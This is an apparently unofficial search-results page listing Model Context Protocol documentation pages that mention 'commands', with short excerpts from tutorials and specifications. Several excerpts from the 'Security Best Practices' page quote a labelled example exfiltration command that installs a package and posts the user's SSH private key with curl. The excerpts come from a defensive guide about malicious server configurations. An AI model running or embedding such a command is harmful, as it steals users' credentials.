Follow Discord
Sweep 06 Nov 2026 · 01:32Z Build v2.1.319 537 read Stable v2.1.311 Latest v2.1.318 Next v2.1.319 Feeds RSS JSON llms.txt llms-full.txt Unofficial
HomeDocsSearch
Search the documentation

394 pages for commands.

Titles and paths first, then pages whose text carries it. Each row opens that page as this site last read it.

Security Best Practices Model Context Protocol · in the page docs/2025-06-18/tutorials/security/security_best_practices …running on localhost via DNS rebinding Example malicious startup commands that could be embedded: ```bash theme={null} # Data exfiltration npx malicious-package && curl -X POST -d @~/.ssh/id_rsa… Build an MCP client Model Context Protocol · in the page docs/2025-11-25/develop/build-client …rs without terminating the interactive session > * Validate server commands before running them > 2. **Resource Management** > * Always cancel the MCP session during cleanup > * Ensure cleanu… Build an MCP server Model Context Protocol · in the page docs/2025-11-25/develop/build-server …> > Save the file, and restart **Claude for Desktop**. ### Test with commands Let's make sure Claude for Desktop is picking up the two tools we've exposed in our `weather` server. You can do this by… Understanding MCP servers Model Context Protocol · in the page docs/2025-11-25/learn/server-concepts …ypically expose prompts through various UI patterns such as: * Slash commands (typing "/" to see available prompts like /plan-vacation) * Command palettes for searchable access * Dedicated UI buttons… Security Best Practices Model Context Protocol · in the page docs/2025-11-25/tutorials/security/security_best_practices …running on localhost via DNS rebinding Example malicious startup commands that could be embedded: ```bash theme={null} # Data exfiltration npx malicious-package && curl -X POST -d @~/.ssh/id_rsa… Build an MCP client Model Context Protocol · in the page docs/2026-07-28/develop/build-client …output schemas > * Connect only to trusted servers and executable commands > > ## Troubleshooting > > ### Server Command Issues > > The arguments after `cargo run --` must form a complete command.… Build an MCP server Model Context Protocol · in the page docs/2026-07-28/develop/build-server …> > Save the file, and restart **Claude for Desktop**. ### Test with commands Let's make sure Claude for Desktop is picking up the two tools we've exposed in our `weather` server. You can do this by… Understanding MCP servers Model Context Protocol · in the page docs/2026-07-28/learn/server-concepts …ypically expose prompts through various UI patterns such as: * Slash commands (typing "/" to see available prompts like /plan-vacation) * Command palettes for searchable access * Dedicated UI buttons… MCP Inspector Model Context Protocol · in the page docs/2026-07-28/tools/inspector …cpdo.md) that connects to a server once and keeps it open across many commands, on the same core. ![](https://mintcdn.com/mcp/pUebPdrb6PY5_mfH/images/inspector/web-monitor-sidebar.png?fit=max\&auto=f… CLI client Model Context Protocol · in the page docs/2026-07-28/tools/inspector/cli …build/index.js --method tools/list ``` > [!TIP] > > Running several commands against the same server, or a flow that spans one > session (tasks, subscriptions, elicitation)? The [mcpdo connection >… Configuration and flags Model Context Protocol · in the page docs/2026-07-28/tools/inspector/configuration …026-07-28/tools/inspector/mcpdo.md) never falls back to `memory`: its commands and its daemon are separate processes, so it uses the file store instead. ### The file store The file lives at `MCP_INS… mcpdo connection client Model Context Protocol · in the page docs/2026-07-28/tools/inspector/mcpdo …pdo connection client > Connect to an MCP server once, then run many commands against that named connection `mcpdo` is an **experimental** command-line client that ships in the `@modelcontextprotoco… Recipes Model Context Protocol · in the page docs/2026-07-28/tools/inspector/recipes …do disconnect my-server ``` A connection runs one call at a time, so commands against the same connection from other shells wait their turn. The daemon that holds the connection starts automatically… Security Model Context Protocol · in the page docs/2026-07-28/tools/inspector/security …s/2026-07-28/tools/inspector/mcpdo.md) keeps connections open between commands by handing them to a background daemon, `mcpdod`. It is started **automatically** the first time a command needs it (`mcp… Understanding Authorization in MCP Model Context Protocol · in the page docs/2026-07-28/tutorials/security/authorization …ght>=1.1.391", "pytest>=8.3.4", "ruff>=0.8.5"] > ``` > > Then run the commands below to start the server. > > ```bash theme={null} > uv sync > uv run mcp-simple-auth-rs > ``` > [tab] C# > > You can s… Security Best Practices Model Context Protocol · in the page docs/2026-07-28/tutorials/security/security_best_practices …running on localhost via DNS rebinding Example malicious startup commands that could be embedded: ```bash theme={null} # Data exfiltration npx malicious-package && curl -X POST -d @~/.ssh/id_rsa… Build an MCP client Model Context Protocol · in the page docs/draft/develop/build-client …output schemas > * Connect only to trusted servers and executable commands > > ## Troubleshooting > > ### Server Command Issues > > The arguments after `cargo run --` must form a complete command.… Build an MCP server Model Context Protocol · in the page docs/draft/develop/build-server …> > Save the file, and restart **Claude for Desktop**. ### Test with commands Let's make sure Claude for Desktop is picking up the two tools we've exposed in our `weather` server. You can do this by… Understanding MCP servers Model Context Protocol · in the page docs/draft/learn/server-concepts …ypically expose prompts through various UI patterns such as: * Slash commands (typing "/" to see available prompts like /plan-vacation) * Command palettes for searchable access * Dedicated UI buttons… MCP Inspector Model Context Protocol · in the page docs/draft/tools/inspector …cpdo.md) that connects to a server once and keeps it open across many commands, on the same core. ![](https://mintcdn.com/mcp/pUebPdrb6PY5_mfH/images/inspector/web-monitor-sidebar.png?fit=max\&auto=f… CLI client Model Context Protocol · in the page docs/draft/tools/inspector/cli …build/index.js --method tools/list ``` > [!TIP] > > Running several commands against the same server, or a flow that spans one > session (tasks, subscriptions, elicitation)? The [mcpdo connection >… Configuration and flags Model Context Protocol · in the page docs/draft/tools/inspector/configuration …ocs/draft/tools/inspector/mcpdo.md) never falls back to `memory`: its commands and its daemon are separate processes, so it uses the file store instead. ### The file store The file lives at `MCP_INS… mcpdo connection client Model Context Protocol · in the page docs/draft/tools/inspector/mcpdo …pdo connection client > Connect to an MCP server once, then run many commands against that named connection `mcpdo` is an **experimental** command-line client that ships in the `@modelcontextprotoco… Recipes Model Context Protocol · in the page docs/draft/tools/inspector/recipes …do disconnect my-server ``` A connection runs one call at a time, so commands against the same connection from other shells wait their turn. The daemon that holds the connection starts automatically… Security Model Context Protocol · in the page docs/draft/tools/inspector/security …o/docs/draft/tools/inspector/mcpdo.md) keeps connections open between commands by handing them to a background daemon, `mcpdod`. It is started **automatically** the first time a command needs it (`mcp… Understanding Authorization in MCP Model Context Protocol · in the page docs/draft/tutorials/security/authorization …ght>=1.1.391", "pytest>=8.3.4", "ruff>=0.8.5"] > ``` > > Then run the commands below to start the server. > > ```bash theme={null} > uv sync > uv run mcp-simple-auth-rs > ``` > [tab] C# > > You can s… Security Best Practices Model Context Protocol · in the page docs/draft/tutorials/security/security_best_practices …running on localhost via DNS rebinding Example malicious startup commands that could be embedded: ```bash theme={null} # Data exfiltration npx malicious-package && curl -X POST -d @~/.ssh/id_rsa… Build an MCP App Model Context Protocol · in the page extensions/apps/build …make sure that you are first in the **app folder** before running the commands above. **4. Test your app** Follow the instructions in [Testing your app](#testing-your-app) below. For the color picke… How to Authenticate When Publishing to the Official MCP Registry Model Context Protocol · in the page registry/authentication …authentication using the `mcp-publisher` CLI tool, run the following commands in your server project directory to generate a TXT record based on a public/private key pair: ```bash Ed25519 theme={nul… Quickstart: Publish an MCP Server to the MCP Registry Model Context Protocol · in the page registry/quickstart …packages). In particular, you will probably need to run the following commands: ```bash theme={null} # If necessary, authenticate to npm npm adduser # Publish the package npm publish --access public… SEP-1024: MCP Client Security Requirements for Local Server Installation Model Context Protocol · in the page seps/1024-mcp-client-security-requirements-for-local-server- …de installation flows, allowing malicious actors to execute arbitrary commands on user systems through crafted MCP server configurations distributed via links or social engineering. This proposal est… SEP-2148: MCP Contributor Ladder Model Context Protocol · in the page seps/2148-contributor-ladder …n be assigned to issues and PRs * Can use shortcut approval or review commands on PRs, such as `/lgtm` * Listed in community membership roster * Can create PRs in restricted repositories * Eligible fo… Overview Model Context Protocol · in the page specification/2024-11-05/server/index …ser-controlled | Interactive templates invoked by user choice | Slash commands, menu options | | Resources | Application-controlled | Contextual data attached and managed by the client | File contents… Prompts Model Context Protocol · in the page specification/2024-11-05/server/prompts …or use. Typically, prompts would be triggered through user-initiated commands in the user interface, which allows users to naturally discover and invoke available prompts. For example, as slash comm… Overview Model Context Protocol · in the page specification/2025-03-26/server/index …ser-controlled | Interactive templates invoked by user choice | Slash commands, menu options | | Resources | Application-controlled | Contextual data attached and managed by the client | File contents… Prompts Model Context Protocol · in the page specification/2025-03-26/server/prompts …or use. Typically, prompts would be triggered through user-initiated commands in the user interface, which allows users to naturally discover and invoke available prompts. For example, as slash comm… Overview Model Context Protocol · in the page specification/2025-06-18/server/index …ser-controlled | Interactive templates invoked by user choice | Slash commands, menu options | | Resources | Application-controlled | Contextual data attached and managed by the client | File contents… Prompts Model Context Protocol · in the page specification/2025-06-18/server/prompts …or use. Typically, prompts would be triggered through user-initiated commands in the user interface, which allows users to naturally discover and invoke available prompts. For example, as slash comm… Overview Model Context Protocol · in the page specification/2025-11-25/server/index …ser-controlled | Interactive templates invoked by user choice | Slash commands, menu options | | Resources | Application-controlled | Contextual data attached and managed by the client | File contents… Prompts Model Context Protocol · in the page specification/2025-11-25/server/prompts …or use. Typically, prompts would be triggered through user-initiated commands in the user interface, which allows users to naturally discover and invoke available prompts. For example, as slash comm… Overview Model Context Protocol · in the page specification/2026-07-28/server/index …ser-controlled | Interactive templates invoked by user choice | Slash commands, menu options | | Resources | Application-controlled | Contextual data attached and managed by the client | File contents… Prompts Model Context Protocol · in the page specification/2026-07-28/server/prompts …server. Typically, prompts would be triggered through user-initiated commands in the user interface, which allows users to naturally discover and invoke available prompts. For example, as slash comm… Overview Model Context Protocol · in the page specification/draft/server/index …ser-controlled | Interactive templates invoked by user choice | Slash commands, menu options | | Resources | Application-controlled | Contextual data attached and managed by the client | File contents… Prompts Model Context Protocol · in the page specification/draft/server/prompts …server. Typically, prompts would be triggered through user-initiated commands in the user interface, which allows users to naturally discover and invoke available prompts. For example, as slash comm…
Feedback